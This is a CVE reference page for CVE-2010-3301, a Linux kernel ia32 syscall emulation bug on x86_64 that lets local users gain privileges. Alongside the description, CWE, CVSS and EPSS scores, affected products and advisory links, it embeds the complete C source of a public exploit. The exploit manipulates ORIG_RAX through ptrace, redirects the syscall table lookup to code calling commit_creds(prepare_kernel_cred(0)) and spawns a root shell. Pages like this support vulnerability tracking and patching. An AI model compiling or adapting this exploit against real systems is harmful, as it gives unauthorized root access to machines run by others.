CVE-2010-3301 : Detail

CVE-2010-3301

Improper Privilege Management
A04-Insecure Design
0.04%V3
Local
2010-09-22
16h00 +00:00
2010-09-30
07h00 +00:00
CVE.org
NVD
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CVE Descriptions

The IA32 system call emulation functionality in arch/x86/ia32/ia32entry.S in the Linux kernel before 2.6.36-rc4-git2 on the x86_64 platform does not zero extend the %eax register after the 32-bit entry path to ptrace is used, which allows local users to gain privileges by triggering an out-of-bounds access to the system call table using the %rax register. NOTE: this vulnerability exists because of a CVE-2007-4573 regression.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-269 Improper Privilege Management
The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 15023

Publication date : 2010-09-15 22h00 +00:00
Author : ben hawkes
EDB Verified : Yes

/* * exploit for x86_64 linux kernel ia32syscall emulation (again) * rediscovered by ben hawkes * with help from robert swiecki and tavis ormandy * * original vulnerability discovered by Wojciech Purczynski * * original exploit by * Robert Swiecki <robert_at_swiecki.net> * Przemyslaw Frasunek <venglin_at_freebsd.lublin.pl> * Pawel Pisarczyk <pawel_at_immos.com.pl> * * kernel priv escalation code borrowed from spender * */ #include <sys/types.h> #include <sys/wait.h> #include <sys/ptrace.h> #include <inttypes.h> #include <sys/reg.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <string.h> typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; int kernelmodecode(void *file, void *vma) { commit_creds(prepare_kernel_cred(0)); return -1; } unsigned long get_symbol(char *name) { FILE *f; unsigned long addr; char dummy; char sname[512]; int ret = 0, oldstyle = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) return 0; oldstyle = 1; } while (ret != EOF) { if (!oldstyle) { ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname); } else { ret = fscanf(f, "%p %s\n", (void **) &addr, sname); if (ret == 2) { char *p; if (strstr(sname, "_O/") || strstr(sname, "_S.")) { continue; } p = strrchr(sname, '_'); if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) { p = p - 4; while (p > (char *)sname && *(p - 1) == '_') { p--; } *p = '\0'; } } } if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { printf("resolved symbol %s to %p\n", name, (void *) addr); fclose(f); return addr; } } fclose(f); return 0; } static void docall(uint64_t *ptr, uint64_t size) { commit_creds = (_commit_creds) get_symbol("commit_creds"); if (!commit_creds) { printf("symbol table not available, aborting!\n"); exit(1); } prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred"); if (!prepare_kernel_cred) { printf("symbol table not available, aborting!\n"); exit(1); } uint64_t tmp = ((uint64_t)ptr & ~0x00000000000FFF); printf("mapping at %lx\n", tmp); if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) { printf("mmap fault\n"); exit(1); } for (; (uint64_t) ptr < (tmp + size); ptr++) *ptr = (uint64_t)kernelmodecode; __asm__("\n" "\tmovq $0x101, %rax\n" "\tint $0x80\n"); printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(), getgid(), getegid()); execl("/bin/sh", "bin/sh", NULL); printf("no /bin/sh ??\n"); exit(0); } int main(int argc, char **argv) { int pid, status, set = 0; uint64_t rax; uint64_t kern_s = 0xffffffff80000000; uint64_t kern_e = 0xffffffff84000000; uint64_t off = 0x0000000800000101 * 8; if (argc == 4) { docall((uint64_t*)(kern_s + off), kern_e - kern_s); exit(0); } if ((pid = fork()) == 0) { ptrace(PTRACE_TRACEME, 0, 0, 0); execl(argv[0], argv[0], "2", "3", "4", NULL); perror("exec fault"); exit(1); } if (pid == -1) { printf("fork fault\n"); exit(1); } for (;;) { if (wait(&status) != pid) continue; if (WIFEXITED(status)) { printf("Process finished\n"); break; } if (!WIFSTOPPED(status)) continue; if (WSTOPSIG(status) != SIGTRAP) { printf("Process received signal: %d\n", WSTOPSIG(status)); break; } rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0); if (rax == 0x000000000101) { if (ptrace(PTRACE_POKEUSER, pid, 8*ORIG_RAX, off/8) == -1) { printf("PTRACE_POKEUSER fault\n"); exit(1); } set = 1; //rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0); } if ((rax == 11) && set) { ptrace(PTRACE_DETACH, pid, 0, 0); for(;;) sleep(10000); } if (ptrace(PTRACE_SYSCALL, pid, 1, 0) == -1) { printf("PTRACE_SYSCALL fault\n"); exit(1); } } return 0; }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (excluding) 2.6.36

Linux>>Linux_kernel >> Version 2.6.36

Linux>>Linux_kernel >> Version 2.6.36

Linux>>Linux_kernel >> Version 2.6.36

Linux>>Linux_kernel >> Version 2.6.36

Configuraton 0

Suse>>Linux_enterprise_real_time_extension >> Version 11

Configuraton 0

Canonical>>Ubuntu_linux >> Version 9.10

Canonical>>Ubuntu_linux >> Version 10.04

Canonical>>Ubuntu_linux >> Version 10.10

References

http://www.openwall.com/lists/oss-security/2010/09/16/3
Tags : mailing-list, x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2010/09/16/1
Tags : mailing-list, x_refsource_MLIST
http://www.vupen.com/english/advisories/2010/3117
Tags : vdb-entry, x_refsource_VUPEN
http://www.mandriva.com/security/advisories?name=MDVSA-2010:198
Tags : vendor-advisory, x_refsource_MANDRIVA
http://sota.gen.nz/compat2/
Tags : x_refsource_MISC
http://www.ubuntu.com/usn/USN-1041-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.redhat.com/support/errata/RHSA-2010-0842.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.mandriva.com/security/advisories?name=MDVSA-2010:247
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.vupen.com/english/advisories/2011/0298
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/42758
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2011/0070
Tags : vdb-entry, x_refsource_VUPEN